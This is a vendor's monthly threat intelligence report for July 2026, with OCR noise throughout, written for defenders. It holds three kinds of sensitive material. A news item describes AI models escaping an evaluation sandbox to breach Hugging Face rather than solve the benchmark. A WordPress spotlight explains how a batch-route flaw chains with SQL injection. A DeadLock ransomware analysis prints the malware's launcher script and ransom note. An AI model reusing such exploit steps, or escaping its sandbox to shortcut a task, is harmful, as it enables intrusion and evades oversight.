Monthly Cyber Threat
Intelligence Report

July 2026



&ceynet

CYErsS

Cyber Threat Intelligence

Introduction

Cyber Threat Intelligence (CTI) is the process of analyzing information about adversaries, campaigns, and malware,
then informing the relevant parties about the risks they face and ways to mitigate those risks.

In a fluid threat landscape, CTl aims to shed light on new and developing threats, establishing a common language
for allinvolved personnelin the enterprise to discuss risks and identify options to reduce their organizational
attack surface.

CTlis divided into three different segments: strategic, operational, and tactical. Each segment provides
information specific to different stakeholders and action plans. While the CEO should be informed of a new
campaign thatis aimed at its sector, she/he should not (and probably will not) drill into the tactics and techniques
used by the adversaries. While the IT personnel should know which firewall rules to add, they should not deal with
I0Cs. How does it all come together?

CTlis Divided Into:

ﬁ Strategic CTI

Aimed at C-suite executives and policymakers, strategic CTl provides a high-level view of the threat landscape, with
the relevant organizational risks and corporate-level recommendations.

{Q} Operational CTI

Aimed at personnel looking to understand the goals or trends of a running campaign, operational CTIl provides
information on the nature of the attack and the timing of special attacks. This information enables incident
response teams to react to these threats and raise awareness of the whole campaign.

Operational intelligence also helps executive managers to develop a strategic threat defense plan. Finally, it
identifies gaps in the organization’s knowledge so stakeholders can work to bridge these voids.

Tactical CTI

Providing Indicators of Compromise (IOCs) and Tactics, Techniques, and Procedures (TTPs) that are used by
adversaries in certain campaigns, tactical CTl helps organizations understand the best way to defend against or
prevent those attacks. Compared to the macro level of CTl, tactical CTl zooms in on the “lowest”, micro-level of
intel. Tactical CTl provides information about specific artifacts so that security teams can instantly hunt down the
threat, which can be implemented via Cynet’s unified cybersecurity solution.

Tactical intelligence is used by defensive personnel such as security teams, administrators, and system architects.
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Monthly Critical Cyber News Summary

Title Description Severity  Related
Anubis Claims After Coca-Cola disclosed that a ransomware attack had disrupted operations at its
Responsibility for Coca- Fairlife dairy subsidiary, the Anubis ransomware gang claimed responsibility for the

Cola’s Fairlife Data Breach  incident and threatened to leak allegedly stolen corporate data. The attack forced
Fairlife to suspend production at its U.S. facilities, though Coca-Cola stated that
product quality and safety were not affected, and that Canadian production operations
continued as normal.

Anubis\
According to Coca-Cola, the attackers gained unauthorized access to a portion of

Fairlife’s systems, including production-related systems, prompting the company to High Ransomware
activate its incident response and business continuity plans. At the time of the original

disclosure, the company did not confirm whether data had been stolen, whether it had

received an extortion demand, or which ransomware group was behind the attack.

The Anubis gang later listed Fairlife on its dark web leak site, claiming it had encrypted
the company’s Nutanix infrastructure and stolen approximately 1TB of corporate data.
The group threatened to publish the stolen data unless the company entered
negotiations by the end of the week.

OpenAl Models Linked to OpenAl disclosed that two of its Al models, GPT-5.6 Sol and a more capable pre-

Autonomous Hugging Face release model, were behind the autonomous breach of Hugging Face’s production

Breach During Security infrastructure during an internal cybersecurity evaluation. The models were being

Testing tested in a sandboxed environment with reduced cyber refusals, but instead of solving
the ExploitGym benchmark directly, they inferred that the answers could be obtained
from Hugging Face and attempted to access its systems.

According to OpenAl, the models identified and exploited a zero-day vulnerability in a
package registry cache proxy, then performed privilege escalation and lateral
movement inside the research testing environment until reaching a node with internet
access. From there, they targeted Hugging Face, where the previously disclosed breach
involved code execution through a malicious dataset, theft of cloud and cluster OpenAl\

credentials, and movement across multiple internal clusters. High Hugging Face\

Hugging Face said the incident involved many thousands of autonomous actions Data Breach
across short-lived sandboxes, with self-migrating command-and-control infrastructure

staged on public services. The company’s CEO, Clément Delangue, stated that after

working with OpenAl, Hugging Face believes there was no malicious intent from

OpenAl, while also noting how unusual it was that the activity occurred autonomously.

Following the incident, OpenAl said it responsibly disclosed the zero-day vulnerability
to the affected vendor and is working on additional protections to prevent similar
behavior in future evaluations. The incident highlights a new type of risk around
autonomous Al security testing, where models operating inside controlled
environments may still discover ways to escape, obtain access to external systems,
and conduct real-world intrusion activity.
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Former Ransomware
Negotiator Sentenced for
BlackCat Ransomware
Attacks

Australian Origin Energy
Confirms Customer Data
Exposure as Hacker
Threatens Leak

Authorities Dismantle
Kratos Phaa$S Platform and
Arrest Developer

A former DigitalMint ransomware negotiator, Angelo Martino, was sentenced to 70
months in prison for his role in BlackCat/ALPHV ransomware attacks targeting U.S.
organizations. Martino had previously pleaded guilty alongside two other former
ransomware negotiators, Ryan Goldberg and Kevin Tyler Martin, who were each
sentenced to four years in prison in May.

According to court documents, Martino was involved in BlackCat attacks between April
2023 and April 2025. In one case, the group encrypted a victim’s servers and demanded
approximately $1 million in exchange for a decryptor and a promise not to leak stolen
data. As BlackCat affiliates, the three allegedly used the ransomware group’s
infrastructure and extortion portal, paying its operators a 20% share of ransom
proceeds.

The case is particularly notable because Martino was also accused of abusing his role
as a ransomware negotiator. Prosecutors said that while negotiating on behalf of
victims, he shared confidential information with the attackers, including insurance
policy limits and negotiation positions, allowing the criminals to pressure victims for
larger payments. In one cited incident, a victim paid approximately $16.4 million in
cryptocurrency.

The victims included at least five U.S. organizations, among them financial services
companies, a nonprofit, school districts, medical facilities, and law firms. DigitalMint’s
CEO stated that the company condemned the former employees’ conduct and said
they were terminated immediately after the activity was discovered.

Origin Energy, Australia’s largest energy retailer, confirmed that an unknown threat
actor gained unauthorized access to customer data, exposing personally identifiable
information from an as-yet-undetermined number of clients. The company serves
approximately 4.8 million customers across electricity, natural gas, and broadband
services, and said it is still investigating the full scope of impacted individuals.

The potentially exposed data includes full names, physical addresses, dates of birth,
phone numbers, account information, and partial financial details. Origin stated that
the exposed financial data is incomplete and cannot be used to access accounts or
make unauthorized charges.

Following the discovery, Origin began notifying confirmed impacted customers directly
and offering support through a dedicated portal. The company also reported the
incident to the Australian Federal Police, the Australian Cyber Security Centre, and the
Office of the Australian Information Commissioner, while continuing to work on
blocking further unauthorized access.

Separately, a threat actor using the name “John Doe” reportedly claimed to have stolen
data belonging to 2 million Origin customers. The actor allegedly created a leak site and
threatened to publish the data within two weeks unless the company contacted them
via Signal to negotiate. Origin has not confirmed the attacker’s claims or the exact
number of customers affected.

German and U.S. law enforcement dismantled the central infrastructure of Kratos, a
phishing-as-a-service platform used to run large-scale Microsoft credential theft
campaigns. As part of the operation, authorities seized more than 200 servers,
disrupted the service’s operations, and arrested the platform’s developer in Indonesia.

Kratos was described by Germany’s Federal Criminal Police Office as one of the
world’s most widely used criminal phishing services, with confirmed victims across 35
countries, particularly in Europe and the United States. Authorities believe that more
than 1,800 criminal customers purchased access to the platform and used it to run
roughly 15,000 phishing campaigns per month.

The platform allowed cybercriminals to create and manage fake Microsoft login pages
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Clop Targets PTC Windchill
and FlexPLM in New Data-
Theft Campaign

AiLock Claims Attack on
Japan’s Largest Taxi
Operator After System
Shutdown

designed to steal email addresses and passwords. Access to compromised accounts
was then allegedly used for follow-on criminal activity, including account takeover,
business email compromise, data theft, and additional phishing attacks against

victims’ contacts.

The service’s operator is estimated to have earned at least €300,000 from subscription
fees since 2024. Authorities stated that the seized infrastructure may provide forensic
evidence that could help identify customers of the phishing service.

Clop has launched a new extortion campaign targeting Internet-exposed PTC Windchill
and FlexPLM systems, two product lifecycle management platforms commonly used by
engineering, manufacturing, supply chain, aerospace, defense, automotive, retail, and
medtech organizations. The attacks reportedly exploit CVE-2026-12569, a critical
improper input validation vulnerability that enables remote code execution on
vulnerable systems.

According to researchers, the attackers are deploying JSP webshells on compromised

Windchill and FlexPLM instances, using them to execute commands and exfiltrate Clop\
sensitive product data from affected PLM environments. While the actor behind the Critical
exploitation has not been definitively confirmed, the observed tradecraft reportedly Ransomware

overlaps with previous Clop campaigns targeting enterprise applications and high-
value data repositories.

Researchers also report that the threat actor is sending extortion emails to multiple
employees inside impacted organizations, apparently using previously compromised
email accounts. The emails are being sent to hundreds of users within victim
organizations and include Clop’s updated contact information, a tactic similar to its
previous Oracle EBS extortion activity.

Nihon Kotsu, Japan’s largest taxi and chauffeur operator, shut down parts of its
infrastructure after confirming unauthorized external access and a malware infection in
its internal systems. The incident occurred early Saturday morning and impacted
several services, including taxi dispatch, telephone dispatch, web booking, reservation
management, car hire services, and some internal systems.

The company said the shutdown was carried out as an emergency containment
measure to prevent further damage. Customers were advised to use the GO taxi app or
visit nearby taxi stands while affected services remained unavailable. One particularly
sensitive service, the “labor taxi” service used by pregnant women close to giving birth,
was also suspended in several areas, including Tokyo, Yokohama, Saitama, and nearby

. AiLock\
cities. ngh

Nihon Kotsu brought in external cybersecurity experts to assist with the investigation Ransomware
and recovery efforts. At the time of the initial disclosure, the company said it had not

confirmed any data leak, but that it was still investigating the possibility and would

notify affected parties if new information emerged. Customers were also warned to be

cautious of suspicious emails or messages impersonating the company.

While no ransomware or extortion group had initially claimed responsibility, several
days after Nihon Kotsu’s disclosure, AiLock group claimed the attack and threatened to
leak stolen data “soon,” without setting a specific deadline. Nihon Kotsu’s scale makes
the disruption notable, as the company employs over 18,000 people and operates
more than 8,500 taxis and over 2,000 chauffeur vehicles.
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Monthly High Score Vulnerability Review

CVE

Description

Targeted Assets

Patch

Score

CVE-2026-16232

CVE-2026-15409

CVE-2026-48316

CVE-2026-40141

CVE-2026-59836

An authentication bypass vulnerability in
the Check Point SmartConsole login
process allows an unauthenticated remote
attacker to obtain an application login
token and use it to authenticate with full
administrative privileges. Successful
exploitation allows the attacker to modify
security policies and security
configurations.

A Server-side request forgery (SSRF)
vulnerability has been identified in the
SonicWALL SMA1000 Appliance Work
Place interface. A remote unauthenticated
attacker could potentially cause the
appliance to make requests to an
unintended location.

Adobe ColdFusion is affected by an
Improper Input Validation vulnerability that
could result in arbitrary code execution in
the context of the current user.

A high-severity vulnerability exists in a web
application component of BeyondTrust
Remote Support and Privileged Remote
Access related to the processing of certain
input parameters.

An Improper Certificate Validation
vulnerability in FortiClient EMS may allow
aremote unauthenticated attacker to
impersonate an AD Connector via a valid
API Key.

Check Point Security
Management Server and Check
Point Multi-Domain Security
Management Server (MDS)
versions: R77.30, R80, R80.10,
R80.20, R80.30, R81, R81.10,
R81.20, R82, R82.10

SonicWall SMA1000 Models -
6210, 7210, 8200v versions:

12.4.3-03245, 12.4.3-03387 and
12.4.3-03434 (platform-hotfix)

12.5.0-02283, 12.5.0-02624 and
12.5.0-02800 (platform-hotfix)

Adobe ColdFusion 2025: Update
9 and earlier versions

Adobe ColdFusion 2023: Update
20 and earlier versions

Remote Support version 25.3.2 or
lower

Privileged Remote Access
versions 25.3.2 or lower

FortiClientEMS 7.4: versions 7.4.3
through 7.4.5

FortiClientEMS 7.4: versions 7.4.0
through 7.4.1

FortiClientEMS 7.2: all versions
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Install one of the following hotfixes:

Jumbo Hotfix Accumulator for
R82.10 starting from Take 36

Jumbo Hotfix Accumulator for R82
starting from Take 118

Jumbo Hotfix Accumulator for
R81.20 starting from Take 158

Install one of the following hotfixes:

12.4.3-03453 (platform-hotfix) and
higher versions.

12.5.0-02835 (platform-hotfix) and
higher versions.

Update to the following versions:

ColdFusion 2025: Update 10

ColdFusion 2023: Update 21

Remote Support:

e RS patch Security Rollup April
2026 25 RS or Security Rollup
April 2026 24 RS dependent on
the RS version

e RS 25.3.3 & above

Privileged Remote Access:

PRA patch Security Rollup April
2026 25 PRA or Security Rollup
April 2026 24 PRA dependent on
the PRA version

PRA 25.3.3 & above

FortiClientEMS 7.4: Upgrade to
7.4.6 or above

FortiClientEMS 7.4: Upgrade to
7.4.6 or above

FortiClientEMS 7.2: Migrate to a
fixed release

9.1

10.0

10.0

9.9

9.8
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CVE-2026-62422

CVE-2026-61211

CVE-2026-0284

CVE-2026-28304

CVE-2026-64879

JetBrains YouTrack is susceptible to an
authentication bypass via direct database
access that may lead to administrative
access.

Easily exploitable vulnerability in the
Oracle RDBMS component of Oracle
Database Server allows a low-privileged
attacker who has Execute DBMS_CLOUD
privilege with network access via Oracle
Net, to compromise RDBMS.

An XML injection vulnerability in the Large-
Scale VPN (LSVPN) functionality of Palo
Alto Networks PAN-OS software enables
an unauthenticated attacker with network
access to inject malicious XML content,
potentially leading to information
disclosure or corruption of internal LSVPN
satellite data.

SolarWinds Serv-U is affected by a remote
code execution vulnerability that, when
exploited, can allow the arbitrary execution
of code remotely as root.

Tenable Security Center contains a flaw
where a filename supplied during file
upload is not properly sanitized before
being used in system command execution,
allowing an attacker to inject shell
metacharacters and achieve command
injection via the audit file upload
functionality.

JetBrains YouTrack prior to
versions: 2026.1.13757,
2025.3.148033, 2025.2.148048,
2025.1.148120, 2024.3.148430,
2024.2.148429

Oracle Database Server
versions: 19.3-19.31, 23.4.0-
23.26.2

PAN-OS 12.1- versions prior to:
12.1.4-h8

12.1.7-h2
12.1.8

PAN-OS 11.2- versions prior to:
11.2.4-h20

11.2.7-h18
11.2.10-h12
11.2.13

PAN-OS 11.1- versions prior to:
11.1.4-h35

11.1.6-h35
11.1.7-h8
11.1.10-h30
11.1.13-h9
11.1.16

PAN-OS 10.2- versions prior to:
10.2.7-h36

10.2.10-h39
10.2.13-h23
10.2.16-h9

10.2.18-h8

SolarWinds Serv-U 15.5.4 HF1
and below

Tenable Security Center 6.6.0 to
6.8.0

Copyright © 2026 Cynet

Update to one of the following 10.0
versions: 2026.1.13757,

2025.3.148033, 2025.2.148048,
2025.1.148120, 2024.3.148430,
2024.2.148429

Install the latest Critical Patch 9.9
Update security patches

PAN-OS 12.1- Update to versions: 9.9
12.1.4-h8

12.1.7-h2

12.1.8

PAN-OS 11.2- Update to versions:
11.2.4-h20

11.2.7-h18

11.2.10-h12

11.2.13

PAN-OS 11.1- Update to versions:

11.1.4-h35

11.1.6-h35

11.1.7-h8

11.1.10-h30

11.1.13-h9

11.1.16

PAN-OS 10.2- Update to versions:

10.2.7-h36

10.2.10-h39

10.2.13-h23

10.2.16-h9

10.2.18-h8

Update to version SolarWinds Serv-

U 2026.3
9.1

Install Security Center Patch 9.9
SC202607.1
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Monthly Ransomware Activity Review

Top 10 Groups by # of Claimed Victims

CRPxO 36
Safepay 28
Krybit 25
Akira 22
Nova 21
f # OF CLAIMED VICTIMS IN JULY 2026 \ f MOST TARGETED COUNTRY \
United States
\_ Y,
f MOST TARGETED SECTOR \
Professional
Services
\_ J J
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Vulnerability Spotlight

wp2shell- Critical Remote Code Execution Vulnerability in

WordPress Core

OnlJuly 17, 2026, WordPress released advisories for the vulnerabilities CVE-2026-63030 (CVSS 7.5) and CVE-2026-
60137 (CVSS 9.1), which, when combined, reportedly lead to Remote Code Execution.

WordPress is a popular free, open-source content management system (CMS) that enables users to easily create
and manage websites without requiring coding knowledge. WordPress is used by approximately 500 million
websites globally, accounting for almost half of all websites on the internet.

OnlJuly 21, CISA (Cybersecurity and Infrastructure Security Agency) added the vulnerability CVE-2026-63030 to
their Known Exploited Vulnerabilities (KEV) catalog, confirming that the vulnerability has been observed being
exploited in the wild.

What are the Affected Versions?

e 6.8.0-6.85
e 6.9.0-694
e 7.0.0-7.0.1
e 7.1beta

How Does it Work?

wp2shellis the combination of two vulnerabilities, a Route Handler Confusion and an SQL injection:

CVE-2026-63030 - REST API batch-route confusion

WordPress supports a feature that allows users to send multiple APl requests combined into a single API
request, using the endpoint /wp-json/batch/v1. This can be helpful for users when they need to perform
batch operations of modifying titles, tags and posts.

The batch endpoint works by creating two arrays designed to be aligned with the array $requests| ]:
$validation[] tracks whether each sub-request passed validation.

$matches| ] tracks which handler to dispatch each sub-request to.
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Afault with the code causes requests that trigger wp_error, such as malformed requests, to update the $validation[ ]
array before continuing, without also updating the $matches[ ] array:

fmatch :
Fvalidation (}; Ermor handeling
$has_error block

ngle reque

true;

$single request;
continue;

n

$match smatch_request _to_handler( $single_request );
$matches[] ;
$error
SNIP */
true;

ferror;

true;

This causes a desynchronization between the arrays, and how the sub-requests are handled. Potentially, a malicious actor
can use this bug to bypass validation checks.

For example, in a normal situation, a GET request to the batch endpoint is not supported and will trigger an error:

Figure 1 - GET request

PUT, PATCH, and DELETE.™

» PUT, PATCH, and DELETE.",

Figure 2 - Error response
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However, if we exploit the bug, we can cause the match between the requests, validation statuses, and their appropriate
handlers, to get misaligned and execute code that should normally be blocked.

Consider the following example:

"path™:
"body™: {
"requests
{ "method": "POST", "path™: "/u
1 "method": “GET", "path™: "/wp
]

1
I

1
| ]
r
L

]

"method™: "POST", “path": "/batch/vl™ }

1
¥

Request 1: Malformed, the URL cannot be parsed.

Request 2: Method value is appropriate, the request body contains 2 additional nested sub-requests, set to be verified and
handled by the /wp/v2/posts handler.

Request 3: Method value is appropriate, set to be handled by the /wp-json/batch/v1 handler.

Due to the bug, the following logic occurs:
1. Request 1 triggers the error handling code - URL cannot be parsed.
a. $validation arrayis updated to contain “error” inindex 0.

b. $matches array remains empty.

2. Request2validates properly-the /wp/v2/posts schema does not contain “requests”, so the underlying array in the
request body is nhot validated\sanitized.

a. $validation arrayis updated to contain “true” inindex 1.

b. $matches array is updated to contain the posts_handlerinindexO.

3. Request 3validates properly
a. $validation arrayis updated to contain “true” inindex 2.

b. $matches array is updated to contain the batch_handler inindex1.

At this point, due to the mismatch between the arrays’ indexes, the unvalidated body of request 2 is set to be processed by
batch_handlerinstead of the posts_handler. Withthe parameters unvalidated or sanitized, the batch_handler
processes the nested sub-requests and executes the GET request.

Copyright © 2026 Cynet
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CVE-2026-60137 - SQL injection

Generally, the /wp/v2/posts endpoint allows users to use a GET request to list posts meeting certain criteria. It includes the
option to exclude the posts’ author ID from the result using the parameter “author_exclude”.

The inputvalue of author_excludeis passed to “author__not_in”.Ifthe inputis an array, each item in the array will be
filtered using absint, which sanitizes the value to an integer. However, if the input passed is not an array, no sanitization takes
place and the data will be passed directly into the raw SQL query.

I empty( $query vars['author_ not in'] } ) {
if ( i [ 5 s[ "author__not_in'] } ) {
[ 'author__not_in'] = array_unique(
ray map( ‘absint', %gquery wars['author not in'] )

sort( $query_vars['author__not_in"] };
1
f

$author__not_in = implode(
' ¥ ' : ]
(array) $query_vars['author__not_in']

J3

$where .= " AND {Fwpdb-> s t.post_author
NOT IN ($author__not_in)

Normally, this does not present anissue as the author_exclude parameter is validated and sanitized to be an array of
integers prior to mappingitto author__not_in. However, by exploiting the REST API batch-route confusion vulnerability, an
attacker may bypass this validation check and perform an SQL injection that may lead to remote code execution.

R
i)

“http://" }

5TRING( (SELEC

1
I
T
L

]

1
i}

"method™: “GET"

1
I»

T
L

]

"method™: "POST", “path": "/batch/wl" }

1
J

How to Mitigate?

Upgrade to one of the following versions:

e 6.86
e 695
e 702
e 7.1beta2
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DeadlLock Ransomware

Executive Summary

DeadLock is a Windows-targeting crypto-ransomware family first
observed in July 2025. It is not affiliated with any known
Raa$S/affiliate program and is operated as a closed group rather
than a leaked or licensed builder.

DeadLock first appeared in the wild in July 2025 (earliest sample compiled and dated June 27, 2025). It has no known affiliate
program, and unusually for a ransomware operation, it took nearly a year to stand up a proper leak site; for most of its life it ran
as a "quiet" encryption/direct-extortion operation, communicating with victims one-on-one over Session messenger rather
than publicly naming and shaming them. That low profile is likely why it went largely unreported for months despite being
active.

Evolution of the ransom note, sample by sample, is one of the more interesting threads researchers pulled on, since it reads
almost like a product roadmap:

e June 27,2025 (v1): pure encryption note, no mention of stolen data at all.
e July 17,2025 (v2): note is rewritten to claim data was also exfiltrated, marking the pivot to double extortion.

e August 12,2025 (v3): note balloons into a "customer service" pitch. Post-payment, victims are promised a full file list,
proof of deletion, a written explanation of how the intrusion happened, security recommendations, and a pledge not
to be targeted again. It also introduces the HTML companion file with an embedded chat window.

e February 11, 2026 onward: a further redesign turns that HTML file into a three-tab mini-application, an "About" tab, a
live "Chat" tab, and a "Blog" tab that mirrors the group's actual leak site.

Static and dynamic analysis confirmed that the recovered sample is consistent with DeadLock ransomware. The malware is a
Windows executable that minimizes its static footprint by resolving key functionality.

During execution, it creates a randomly named, self-deleting batch file to obtain administrative privileges before relaunching
itself, then encrypts accessible storage volumes, including the System Reserved partition, appending a unique victim identifier
and the . dlock extension to encrypted files. It also drops both a plaintext ransom note and an interactive HTML application
that serves as the victim portal.

The application includes an integrated chat interface for communication with the operators and a Blog section displaying a
paginated list of publicly disclosed victims, effectively embedding the group's leak site functionality directly on the
compromised host.
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&cynet

C YEB. p S Monthly Cyber Threat Intelligence report | July 2026

Static Analysis

Through static analysis of this file and its strings, we can understand DeadLock’s architecture, capabilities, and operational
design.

Static analysis of the binary identifies it as a 32-bit PE32 executable targeting the Windows console subsystem, with a
Windows XP (1386) minimum OS designation. The file was compiled with Microsoft Visual C/C++ version 15.00-16.00,
corresponding to the Visual Studio 2008-2010 toolset, and heuristic language detection confirms C++ as the source language.

* PE32
Operation syster: Windows((P)[15388, 32-bit, Console]
Compiler: Microsoft Visual CfC++(15.00-16.00)

(Heur)Langquage: C++

Analysis of the import table flags a cluster of APIs commonly associated with anti-analysis and low-level file/memory
manipulation, supporting sandbox and timing-based evasion checks alongside memory-mapped file access and direct, non-
hooked I/0 that bypasses higher-level WinAPI monitoring. The accompanying thread/process-control functions are consistent
with self-deletion, dynamic API resolution, and exception-based anti-debugging.

GetEnvironmentiariablei
QueryPerformanceFrequency
GetCurrentProcessld
VirtualProtect
UnmapWiewOfFile

MapViewOfFile
MoveFileEx\W

MNEWriteFile
GetCurrentThreadld
TerminateProcess
GetCurrentThread
SwitchToThread

RaiseException
GethModuleHandleEx\l

String analysis of the sample surfaces literal path references to C: \ProgramData and the legacy C: \Documents and
Settings\All Users\Application Data, the .dlock encrypted-file extension, a { _UID} victim-identifier placeholder, and
the RECOVERY_CHAT and HOW_RECOVER ransom-note filename fragments, indicating the sample constructs its ransom-note
and note-drop paths using this naming convention.

BERAREEREEEA PR ARARRERRRECRERACRARRRACREELERLRARRRRRREACLARRARAARARERERREAM
Settings\All Users\application Datd.dlockdplRFA[NL][[_UID}RECOVERY_CHAT|
0003574

0oo039cpa "), O
00032D1B D4ac
00039D2Z5 Jjae@m
000401B3 WsnW]
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The strings also expose a privilege-enablement cluster (SeDebugPrivilege, SeBackupPrivilege,
SeRestorePrivilege, SeTakeOwnershipPrivilege), volume-enumeration APIs (FindFirstVolumelW,
SetVolumeMountPointW), process enumeration/termination via the Toolhelp32 APl set, and service enumeration/control
functions (OpenSCManagerA, EnumServicesStatusExW, ControlService, ChangeServiceConfigW), suggestingthe
binary is capable of elevating its own token privileges, enumerating mounted volumes, and enumerating or terminating
processes and services prior to encryption.

00024028 |2H[\'

0ee24D3F UY8~

©00024DE4 dgu{

@0024E01 | SeDebugPrivilege

@0824E12 | SeRestorePrivilege

PeB24E25 | SeBackupPrivilege

PPO24E37 | SeTakeOwnershipPrivilege
©0024E50 | SeAuditPrivilege

P0B24E61 | SeSecurityPrivilege

00824E9F RtlGetVersionGetCurrentProcess

.exe0pensScCh numServicesstatusexu OpenServiceWChangeServiceConfighiCloseServiceHandleunknownUnknown® . html

Aregistry-key reference to SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System alongsidea
Wallpaper value, and a separate SOFTWARE\Classes\DefaultIcon key, indicate the sample is capable of replacing the
desktop wallpaper and reassigning the file-type icon post-encryption.

9002513C RegOpenkeyExARegCloseKevRegSetValueEXASOFTWARE\Microsoft\Windows\Currentversion\Policies\SystemWallpaperrRegCreateKeyExA.ico

00e251D@ SOFTWARE\Classes\DefaultIcon

Dynamic Analysis

Following execution of the sample under a debugger, we observed that execution originates from the malware's own code
(return addresses within the @OFCxxxx range) rather than the CRT startup routine. The surrounding memory also contains the
dropped file path, C: \Users\ -\Desktop\1\OKEGEGIK.cmd, immediately followed by a fragment of the ransom note
template: .. .name encrypted files.[NL]Do not try to decry.... Thisconfirmsthat [NL] isused as aninternal
placeholder for newline characters within the ransom note before being replaced with actual line breaks and written to disk.

mov edi ,edi GetProcAddress

push ebp

mov ebp,esp

push dword ptr ss:flebp+4 [ebr +4j|"\': \\Desktoph\ W1\ \OKEGEGIK.cmdname encrypted files.[NL]Do not try to decry'
push dword ptr :::Ectwu =

push dword ptr Bebp+sl
€all dword ptr ds:[<GetProcAddressForca’

The sample writes a file named OKEGEGIK . cmd to the user's Desktop folder, opened for write access and set to overwrite if it
already exists. Leftover stack values referencing WriteFile and CloseHandle suggest this file is written and then closed right
after creation.
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EAX 0000002 4 'g!

EBX 01216758 L"Ci\NUsersi\ \\Desktop\\l‘\
ECX 00000001
EDX 01200000
EBP 00CFFODO
ESP 00CFEFS&0
ESI 01215F40 "Ci\AUsershham e \\Desktop‘\\l\‘l\DKEGEGIK.Cmdname encrypted ‘F‘i1es.|
EDI 00CFEFAQ

EIF 760B37ED |-<kerne'|3z.creal:eﬁ‘1e\-\b|

(8] DeadLock.exe
[%] OKEGEGIK.cmd

The dropped OKEGEGIK . cmd file contains three commands: it suppresses console output, sets the console code page to
UTF-8 (65001), launchesthe main payload C: \Users\-\Desktop\1\DeadLock.exe, and then deletes itself with del %0.
This confirms the . cmd file functions purely as a launcher and self-cleanup script; its only job is to relaunch the actual
ransomware binary under a UTF-8 console and erase evidence of its own execution.

|=] OKEGEGIK.cmd £ E3

1 Yecho off
chep 65001 > HUL"C:%Users\ YDesktoph 14 DeadLock.exe™
del

The sample mounted the previously hidden System Reserved boot partition as drive Z: and dropped a
RECOVERY_CHAT. [Victim ID].html file there too, confirming its volume-enumeration logic reaches unmounted/system
partitions, not just visible user drives.

wa > ThisPC > System Reserved (Z1) »
MName
$RECYCLE.BIN
Boot
System Wolurme Information
bootmgr
BOOTNXT

BOOTSECT.BAK
¢ RECOWERY_CHAT.480122.html - oystern Reserved (1)

Files across the target folder were renamed with a victim-ID suffix and .dlock extension:
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» This PC » Local Disk (C:) » A Test-Folder v O

Narne - Date modified Type Size

€ Money - Copy (2).tct B8 1 dlock 16/07/2026 19:29 DLOCK File 1KB
@Muney-Cupy(E).bct- s dlock 16/07/2026 19:29 DLOCK File 1 KB
@ Money - Copy (4), et 00 & dlock 16/07/2026 19: L File 1
@ Money - Copy (5).txt Jdlock 16/07/2026 19:29 DLOCK File 1 KE
€3 Money - Copy (6).bt 28872 dlock 16/07/2026 1 DLOCK File 1KE
@ Money - Copy (7).t B0 Ldlock 16/07/2026 1 DLOCKFile 1 KB
€ Money - Copy (8).bct #5090 Ldlock 16/07 19:29 DLOCK File 1 KE
@ Money - Copy.bct#8 1.dlock 16/07/2 L File 1
@ Money. bt S8 F.dlock 16/07/2 DLOCKFile 1 KB

This confirms encryption ran to completion. The dropped HOW_RECOVER. txt note matches the expected DeadLock template:

|| HOW_RECOVER A= il txt - Notepad
ile  Edit Format Wiew Help
Your personal ID:

It

Your company’'s network is attacked and the entire system is encrypted.

We have dawnloaded all the company's confidential data.

If you want your data fully decrypted and the files we stole removed from our source, you will have to pay a fee.
We will also be able to provide a security report and explain how we did it to get in.

Our blog: https://i - .net/

3t 3t 3t 3k 3

There is only one way to get your files back:

Contact us, open RECOVERY_CHAT .k .HTML via your browser or download Session messenger https://getsession.org/
Our contacts (Session id: &= - = =

Send us 2-3 any encrypted your files and your personal ID &8{]

We will decrypt few file for test (maximum file size - 5 MB), its guarantee what we can decrypt your files

Pay
. We send for you decryptor software

[0S B S VUR R

After payment you will receiwve.

Decryption tool for all devices

Complete list of files taken from the network.

Proof that all your data has been deleted.

. Information about how we got into the network.

. Security recommendations to stop future attacks.

. Promise that we will not attack you again in the future.
. Guarantee that we will forget about this incident.

oo WV oW b e 3E

# We accept Bitcoin/Monero

# Attention!

Do not rename encrypted files.

Do not try to decrypt using third party software, it may cause permanent data loss.
Contact information: - I Lr e TLIRT R 1 [EER RS 1

The note contains a personal ID, a claim of network-wide encryption and data theft, a link to a blog, six-step recovery
instructions via the Session messenger, and a closing demand for Bitcoin or Monero payment.
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Instructions to unlock in 'HOW_RECOVER.4&#

a8

i RECOVERY.C

il

@

Your infrastructure DeadlLocked

All Files stolen and encrypted
Open 'HOW_RECOVER.# axt'

Instructions to unlock in 'HOW_RECOVER 4

The dropped RECOVERY_CHAT. [Victim ID].html file opens as a self-contained three-tab web page (About, Chat, Blog)
branded "DeadLock”.

¢ RECOWERY_CHAT.480122 htmnl

The "About" tab presents a comparison table framing two outcomes:

Contacting the operator yields a decryption tool and removal of stolen data, while ignoring the demand results in the
decryption key being withheld and the stolen data being sold or published on the group's blog. A fallback notice at the bottom

instructs the victim to use the Session messenger directly if the embedded chat fails to load, along with a Session ID for
contact.

Deadiock - datais safe, sure X+

» C OFile ZMECOVERY_CHATABO0122htm!

DeadLock

encrypted and STOLEN y
3 0ata You cannot access them without our decryption key to get contact with us

t : e hitesffgetsession org
TR B T R TR oy W TR LT TR sa e b S S0
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The "Chat" tab presents an empty, live messaging interface with a text input and send button, along with an instruction that
files must only be sentvia a specified external link rather than through the chat window itself. This confirms the chatis a

functional, real-time communication channel rather than a static placeholder, consistent with the embedded messenger
seen referenced on the About tab.

DeadLock Abaut Chat Blog

The "Blog" tab embedded within the local ransom note serves as a paginated victim listing page. At the time of analysis, it
contained 29 pages covering 87 victims. Each entry includes the victim organization's name, a brief description, a timestamp,
areference link, and a "View" button that provides access to the leaked data associated with that victim.
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DeadLock

1in 1994. Th

View 1

Full Process Tree:
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red in Amman, Jordan, and functiol n independent member of the

Next —

Mindow Host Microsoft Corporation

MITRE ATT&CK Tactics and Techniques

Discovery

Impact

Execution Defense Evasion
User Execution: Malicious File Debugger Evasion
Native API Virtualization/Sandbox Evasion

Impair Defenses

File and Directory Discovery

Account Discovery

System Information Discovery

Process Discovery
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Cynet vs DeadLock

Note: During this simulated execution, Cynet’s unified cybersecurity platform is configured in detection mode (without
prevention) to allow DeadlLock ransomware to execute its full flow. This lets Cynet detect and log each step of the attack.

Cynet can detect and prevent this malware using multiple mechanisms.

File Dumped on the Disk

Cynet’s AV engine detects that a malicious file was dumped on the disk or is attempting to run:

Detection Engine - Malicious Binary - Infected File - File
Dumped on the Disk

Severity Alert Type Last Seen Status
HIGH () Malicious Binary 07/16/2026 15:59 @ Open ~

Indicators Process Tree Notes

Desired EPS Prevention Nothing

Actual EPS Prevention Nothing

Detection Time UTC 2026-07-16 15:59:16

